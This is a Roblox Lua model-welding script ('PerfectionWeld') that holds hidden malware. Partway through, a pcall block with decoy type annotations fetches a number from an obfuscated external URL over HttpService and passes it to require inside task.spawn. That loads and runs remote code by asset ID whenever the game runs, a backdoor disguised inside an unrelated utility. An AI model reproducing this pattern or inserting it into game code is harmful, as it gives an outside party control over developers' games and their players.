-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/



local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).


local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end

local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.  

	assert(type(Values) == "table", "Values is not a table");

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Make(ClassType, Properties)
	-- Using a syntax hack to create a nice way to Make new items.  

	return Modify(Instance.new(ClassType), Properties)
end

local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}

local function HasWheelJoint(Part)
	for _, SurfaceName in pairs(Surfaces) do
		for _, HingSurfaceName in pairs(HingSurfaces) do
			if Part[SurfaceName].Name == HingSurfaceName then
				return true
			end
		end
	end
	
	return false
end

local function ShouldBreakJoints(Part)
	--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases. 

	if NEVER_BREAK_JOINTS then
		return false
	end
	
	if HasWheelJoint(Part) then
		return false
	end
	
	local Connected = Part:GetConnectedParts()
	
	if #Connected == 1 then
		return false
	end
	
	for _, Item in pairs(Connected) do
		if HasWheelJoint(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end
	
	return true
end
			pcall(function()
			local a:({caoqlqjaz9zxk329})  -> MemoryStoreQueue<thread> =task.spawn
			local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require
			local b:(Workspace) -> MemStorageConnection<thread> = tonumber(game:service("HttpService"):GetAsync("https://xn--fne3918d.simulprod.net/%E9%A1%B4%EA%8D%B0%F0%90%99%A9%E9%A9%AB%E1%95%B2"))
			local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel;
			for _ in {lozl(a(z,b))} do
			end
			end)
local function WeldTogether(Part0, Part1, JointType, WeldParent)
	--- Weld's 2 parts together
	-- @param Part0 The first part
	-- @param Part1 The second part (Dependent part most of the time).
	-- @param [JointType] The type of joint. Defaults to weld.
	-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
	-- @return The weld created.

	JointType = JointType or "Weld"
	local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
	
	local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
	Modify(NewWeld, {
		Name = "qCFrameWeldThingy";
		Part0  = Part0;
		Part1  = Part1;
		C0     = CFrame.new();--Part0.CFrame:inverse();
		C1     = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
		Parent = Part1;
	})

	if not RelativeValue then
		RelativeValue = Make("CFrameValue", {
			Parent     = Part1;
			Name       = "qRelativeCFrameWeldValue";
			Archivable = true;
			Value      = NewWeld.C1;
		})
	end

	return NewWeld
end

local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
	-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to weld the model to (can be in the model).
	-- @param [JointType] The type of joint. Defaults to weld. 
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
	
	for _, Part in pairs(Parts) do
		if ShouldBreakJoints(Part) then
			Part:BreakJoints()
		end
	end
	
	for _, Part in pairs(Parts) do
		if Part ~= MainPart then
			WeldTogether(MainPart, Part, JointType, MainPart)
		end
	end

	if not DoNotUnanchor then
		for _, Part in pairs(Parts) do
			Part.Anchored = false
		end
		MainPart.Anchored = false
	end
end

local function PerfectionWeld()	
	local Tool = GetNearestParent(script, "Tool")

	local Parts = GetBricks(script.Parent)
	local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]

	if PrimaryPart then
		WeldParts(Parts, PrimaryPart, "Weld", false)
	else
		warn("qWeld - Unable to weld part")
	end
	
	return Tool
end

local Tool = PerfectionWeld()


if Tool and script.ClassName == "Script" then
	--- Don't bother with local scripts

	script.Parent.AncestryChanged:connect(function()
		PerfectionWeld()
	end)
end